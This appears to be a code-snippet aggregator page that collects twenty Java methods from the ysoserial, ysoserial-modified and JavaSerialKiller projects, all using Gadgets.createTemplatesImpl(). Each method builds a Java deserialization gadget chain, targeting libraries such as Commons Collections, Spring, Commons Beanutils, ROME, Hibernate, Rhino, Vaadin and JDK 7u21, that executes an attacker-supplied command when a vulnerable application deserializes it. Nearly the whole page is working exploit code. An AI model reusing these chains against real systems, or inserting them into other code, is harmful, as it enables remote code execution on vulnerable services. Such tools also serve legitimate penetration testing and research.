Java Code Examples for ysoserial.payloads.util.Gadgets#createTemplatesImpl()

The following examples show how to use ysoserial.payloads.util.Gadgets#createTemplatesImpl() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: CommonsCollections2.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
    
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example 2
Source File: Spring1.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
Example 3
Source File: Spring1.java    From ysoserial with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);

	final ObjectFactory objectFactoryProxy =
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);

	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy),
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
Example 4
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 5
Source File: CommonsBeanutils1.java    From ysoserial with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
Example 6
Source File: Spring2.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
Example 7
Source File: CommonsBeanutils1.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
  
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
Example 8
Source File: Jdk7u21.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
Example 9
Source File: CommonsBeanutilsCollectionsLogging1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
Example 10
Source File: CommonsCollections2.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
Example 11
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 12
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 13
Source File: Vaadin1.java    From ysoserial with MIT License 5 votes vote down vote up 
@Override
public Object getObject (String command) throws Exception
{
    Object templ = Gadgets.createTemplatesImpl (command);
    PropertysetItem pItem = new PropertysetItem ();        
    
    NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
    pItem.addItemProperty ("outputProperties", nmprop);
    
    BadAttributeValueExpException b = new BadAttributeValueExpException ("");
    Reflections.setFieldValue (b, "val", pItem);
    
    return b;
}
Example 14
Source File: CommonsCollections4.java    From ysoserial with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	Object templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example 15
Source File: CommonsCollections4.java    From JavaSerialKiller with MIT License 5 votes vote down vote up 
public Queue<Object> getObject(final String command) throws Exception {
	TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
Example 16
Source File: ROME.java    From ysoserial with MIT License 4 votes vote down vote up 
public Object getObject ( String command ) throws Exception {
    Object o = Gadgets.createTemplatesImpl(command);
    ObjectBean delegate = new ObjectBean(Templates.class, o);
    ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
    return Gadgets.makeMap(root, root);
}
Example 17
Source File: Hibernate1.java    From ysoserial-modified with MIT License 4 votes vote down vote up 
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    Object tpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
    return makeCaller(tpl, getters);
}
Example 18
Source File: MozillaRhino1.java    From ysoserial-modified with MIT License 4 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        nativeErrorConstructor.setAccessible(true);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        Context context = Context.enter();

        NativeObject scriptableObject = (NativeObject) context.initStandardObjects();

        Method enterMethod = Context.class.getDeclaredMethod("enter");
        NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
        idScriptableObject.setGetterOrSetter("name", 0, method, false);

        Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
        NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
        idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);

        Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
        getSlot.setAccessible(true);
        Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
        Field getter = slot.getClass().getDeclaredField("getter");
        getter.setAccessible(true);

        Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
        Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
        memberboxClassConstructor.setAccessible(true);
        Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
        getter.set(slot, memberboxes);

        NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(cmdHelper.getCommandArray()), TemplatesImpl.class);
        idScriptableObject.setPrototype(nativeObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, idScriptableObject);

        return badAttributeValueExpException;
    }
Example 19
Source File: ROME.java    From ysoserial-modified with MIT License 4 votes vote down vote up 
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    Object o = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    ObjectBean delegate = new ObjectBean(Templates.class, o);
    ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);
    return Gadgets.makeMap(root, root);
}
Example 20
Source File: Hibernate1.java    From ysoserial with MIT License 4 votes vote down vote up 
public Object getObject ( String command ) throws Exception {
    Object tpl = Gadgets.createTemplatesImpl(command);
    Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
    return makeCaller(tpl, getters);
}